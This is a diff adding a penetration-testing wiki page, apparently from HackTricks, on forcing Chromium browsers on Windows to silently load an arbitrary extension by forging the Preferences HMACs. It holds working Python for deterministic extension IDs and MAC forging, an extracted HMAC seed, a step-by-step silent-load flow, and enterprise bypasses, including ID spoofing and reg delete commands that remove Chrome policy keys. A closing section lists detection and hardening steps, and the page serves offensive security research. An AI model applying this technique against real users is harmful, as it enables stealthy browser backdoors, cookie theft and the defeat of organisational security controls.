|
| 1 | +# Forced Extension Load & Preferences MAC Forgery (Windows) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts. |
| 8 | + |
| 9 | +> Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry. |
| 10 | +
|
| 11 | + |
| 12 | +## Where extension state lives (Windows) |
| 13 | + |
| 14 | +- Non–domain‑joined Chrome profile: |
| 15 | + - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac"). |
| 16 | +- Domain‑joined Chrome profile: |
| 17 | + - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences |
| 18 | +- Key nodes used by Chromium: |
| 19 | + - extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry |
| 20 | + - protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob |
| 21 | + - Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate |
| 22 | + |
| 23 | +Simplified schema (illustrative): |
| 24 | + |
| 25 | +```json |
| 26 | +{ |
| 27 | + "extensions": { |
| 28 | + "settings": { |
| 29 | + "<extension_id>": { |
| 30 | + "name": "Extension name", |
| 31 | + "manifest_version": 3, |
| 32 | + "version": "1.0", |
| 33 | + "key": "<BASE64 DER SPKI>", |
| 34 | + "path": "<absolute path if unpacked>", |
| 35 | + "state": 1, |
| 36 | + "from_bookmark": false, |
| 37 | + "was_installed_by_default": false |
| 38 | + // ...rest of manifest.json + required install metadata |
| 39 | + } |
| 40 | + }, |
| 41 | + "ui": { "developer_mode": true } |
| 42 | + }, |
| 43 | + "protection": { |
| 44 | + "macs": { |
| 45 | + "extensions": { |
| 46 | + "settings": { "<extension_id>": "<MAC>" }, |
| 47 | + "ui": { "developer_mode": "<MAC>" } |
| 48 | + } |
| 49 | + } |
| 50 | + } |
| 51 | +} |
| 52 | +``` |
| 53 | + |
| 54 | +Notes: |
| 55 | +- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds). |
| 56 | + |
| 57 | + |
| 58 | +## Extension IDs: path vs key and making them deterministic |
| 59 | + |
| 60 | +Chromium derives the extension ID as follows: |
| 61 | +- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p |
| 62 | +- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p |
| 63 | + |
| 64 | +To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path. |
| 65 | + |
| 66 | +Helper to generate a deterministic ID and a key pair: |
| 67 | + |
| 68 | +```python |
| 69 | +import base64 |
| 70 | +import hashlib |
| 71 | +from cryptography.hazmat.primitives import serialization |
| 72 | +from cryptography.hazmat.primitives.asymmetric import rsa |
| 73 | + |
| 74 | +def translate_crx_id(s: str) -> str: |
| 75 | + t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'} |
| 76 | + return ''.join(t.get(c, c) for c in s) |
| 77 | + |
| 78 | +def generate_extension_keys() -> tuple[str,str,str]: |
| 79 | + priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) |
| 80 | + pub = priv.public_key() |
| 81 | + spki = pub.public_bytes(encoding=serialization.Encoding.DER, |
| 82 | + format=serialization.PublicFormat.SubjectPublicKeyInfo) |
| 83 | + crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex()) |
| 84 | + pub_b64 = base64.b64encode(spki).decode('utf-8') |
| 85 | + priv_der = priv.private_bytes(encoding=serialization.Encoding.DER, |
| 86 | + format=serialization.PrivateFormat.TraditionalOpenSSL, |
| 87 | + encryption_algorithm=serialization.NoEncryption()) |
| 88 | + priv_b64 = base64.b64encode(priv_der).decode('utf-8') |
| 89 | + return crx_id, pub_b64, priv_b64 |
| 90 | + |
| 91 | +print(generate_extension_keys()) |
| 92 | +``` |
| 93 | + |
| 94 | +Add the generated public key into your manifest.json to lock the ID: |
| 95 | + |
| 96 | +```json |
| 97 | +{ |
| 98 | + "manifest_version": 3, |
| 99 | + "name": "Synacktiv extension", |
| 100 | + "version": "1.0", |
| 101 | + "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..." |
| 102 | +} |
| 103 | +``` |
| 104 | + |
| 105 | + |
| 106 | +## Forging Preferences integrity MACs (core bypass) |
| 107 | + |
| 108 | +Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139. |
| 109 | + |
| 110 | +Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds): |
| 111 | + |
| 112 | +```bash |
| 113 | +python3 pak_util.py extract resources.pak -o resources_v139/ |
| 114 | +python3 pak_util.py extract resources.pak -o resources_v139_dirty/ |
| 115 | +# compare a clean vs minimally modified resources.pak to spot the seed holder |
| 116 | +xxd -p resources_v139/146 |
| 117 | +# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8 |
| 118 | +``` |
| 119 | + |
| 120 | +Compute MACs (uppercase hex) as: |
| 121 | + |
| 122 | +```text |
| 123 | +ext_mac = HMAC_SHA256(seed, |
| 124 | + "extensions.settings.<crx_id>" + json.dumps(<settings_json>)) |
| 125 | +
|
| 126 | +devmode_mac = HMAC_SHA256(seed, |
| 127 | + "extensions.ui.developer_mode" + ("true" or "false")) |
| 128 | +``` |
| 129 | + |
| 130 | +Minimal Python example: |
| 131 | + |
| 132 | +```python |
| 133 | +import json, hmac, hashlib |
| 134 | + |
| 135 | +def mac_upper(seed_hex: str, pref_path: str, value) -> str: |
| 136 | + seed = bytes.fromhex(seed_hex) |
| 137 | + # Compact JSON to match Chromium serialization closely |
| 138 | + val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value |
| 139 | + msg = (pref_path + val).encode('utf-8') |
| 140 | + return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper() |
| 141 | + |
| 142 | +# Example usage |
| 143 | +settings_path = f"extensions.settings.{crx_id}" |
| 144 | +devmode_path = "extensions.ui.developer_mode" |
| 145 | +ext_mac = mac_upper(seed_hex, settings_path, settings_json) |
| 146 | +devmode_mac = mac_upper(seed_hex, devmode_path, "true") |
| 147 | +``` |
| 148 | + |
| 149 | +Write the values under: |
| 150 | +- protection.macs.extensions.settings.<crx_id> = ext_mac |
| 151 | +- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134) |
| 152 | + |
| 153 | +Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly. |
| 154 | + |
| 155 | +> Implementation tips |
| 156 | +> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues). |
| 157 | +> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate. |
| 158 | +
|
| 159 | + |
| 160 | +## End‑to‑end silent load flow (Windows) |
| 161 | + |
| 162 | +1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts) |
| 163 | +2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.) |
| 164 | +3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134) |
| 165 | +4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges |
| 166 | + |
| 167 | + |
| 168 | +## Bypassing enterprise controls |
| 169 | + |
| 170 | +- Whitelisted extension hash spoofing (ID spoofing) |
| 171 | + 1) Install an allowed Web Store extension and note its ID |
| 172 | + 2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx) |
| 173 | + 3) Set that key as manifest.key in your modified extension to reproduce the same ID |
| 174 | + 4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed |
| 175 | + |
| 176 | +- Extension stomping (ID collision precedence) |
| 177 | + - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF) |
| 178 | + |
| 179 | +- Neutralizing GPO via HKCU (requires admin) |
| 180 | + - Chrome/Edge policies live under HKCU\Software\Policies\* |
| 181 | + - With admin rights, delete/modify policy keys before writing your entries to avoid blocks: |
| 182 | + |
| 183 | +```powershell |
| 184 | +reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f |
| 185 | +reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f |
| 186 | +``` |
| 187 | + |
| 188 | + |
| 189 | +## Noisy fallback: command-line loading |
| 190 | + |
| 191 | +From Chromium ≥137, --load-extension requires also passing: |
| 192 | + |
| 193 | +```text |
| 194 | +--disable-features=DisableLoadExtensionCommandLineSwitch |
| 195 | +``` |
| 196 | + |
| 197 | +This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier. |
| 198 | + |
| 199 | +Related flags and more cross‑platform tricks are discussed here: |
| 200 | + |
| 201 | +{{#ref}} |
| 202 | +../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md |
| 203 | +{{#endref}} |
| 204 | + |
| 205 | + |
| 206 | +## Operational impact |
| 207 | + |
| 208 | +Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences. |
| 209 | + |
| 210 | + |
| 211 | +## Detection and hardening |
| 212 | + |
| 213 | +- Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries |
| 214 | +- Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries |
| 215 | +- Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management |
| 216 | +- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID |
| 217 | + |
| 218 | + |
| 219 | +## References |
| 220 | + |
| 221 | +- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html) |
| 222 | +- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py) |
| 223 | +- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile) |
| 224 | +- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) |
| 225 | + |
| 226 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments